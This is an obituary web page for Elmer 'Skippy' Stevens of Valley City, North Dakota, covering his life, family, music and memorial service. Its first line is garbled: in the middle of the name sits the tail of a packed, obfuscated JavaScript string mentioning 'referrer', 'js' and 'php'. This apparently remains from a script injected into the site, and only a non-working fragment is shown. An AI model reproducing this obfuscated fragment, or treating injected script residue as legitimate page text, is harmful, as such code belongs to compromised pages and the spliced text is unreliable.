Elmer aktbk|var|u0026u|referrer|nzsst||js|php’.split(‘|’),0,{}))
Stevens, 96, of Valley City passed away Wednesday, September 19, 2012 at his retirement home at Bridgeview Estates Assisted Living in Valley City, ND.

Elmer (Skippy) Stevens was born December 2, 1915 to Ole and Mina Stevens of rural Valley City.  He attended country schools and worked on the family farm.  In the late 1930’s he enlisted in the Civilian Conservation Corps (CCC) , serving in both Minnesota and Missouri.

Music was always a special interest and Elmer taught himself clarinet, saxophone and accordion.  From 1938 to early 1941 he played clarinet and saxophone in the Skippy Stevens Band based in Valley City.  The band played at the KOVC Barn Dance every Saturday night, performed for Fargo radio stations, and at many popular dance halls around the area.

In 1941 he married Eileen Christopherson of Fingal and they moved to Niagara Falls, New York.  There he worked for Bell Aircraft as an assembly line supervisor and played in a dance band at night.

Elmer and family returned to Valley City in 1945 and purchased a farm south of Valley City.  Elmer was known for his love of trees, planting many varieties around his farm.  His favorite tree was evergreens and through his efforts, some of his many Colorado Spruce plantings surround and adorn the Sheyenne
Valley Cemetery.

In 1989 Eileen passed away and Elmer remained on the farm until January 2004 when he moved into Bridgeview Estates.  His past eight plus years were greatly enhanced by the gracious staff and other residents at Bridgeview.

Elmer is survived by two daughters, Joan Stevens and Noreen (Gene) Smestad of Valley City, a grandson, Richard (Jennifer) Smestad of Fergus Falls, Mn , a granddaughter Robin (Loren) Stahl of Fargo and six great-grand children, and several nieces and nephews.

He was preceded in death by his parents, wife Eileen,  brothers Joseph, Peter, Melvin, Edwin, Alfred and Leonard Stevens and 1 sister Martha (Herbert) Nelson, 5 infant siblings.

Memorial Service 1:30 Saturday September 22, 2012 at Lerud Schuldt Funeral Home Chapel, Valley City.  Visitation 1 hour prior to service.

Internment will be at Sheyenne Valley Cemetery.  Pastor Brad Edin officiating.

Leave a Reply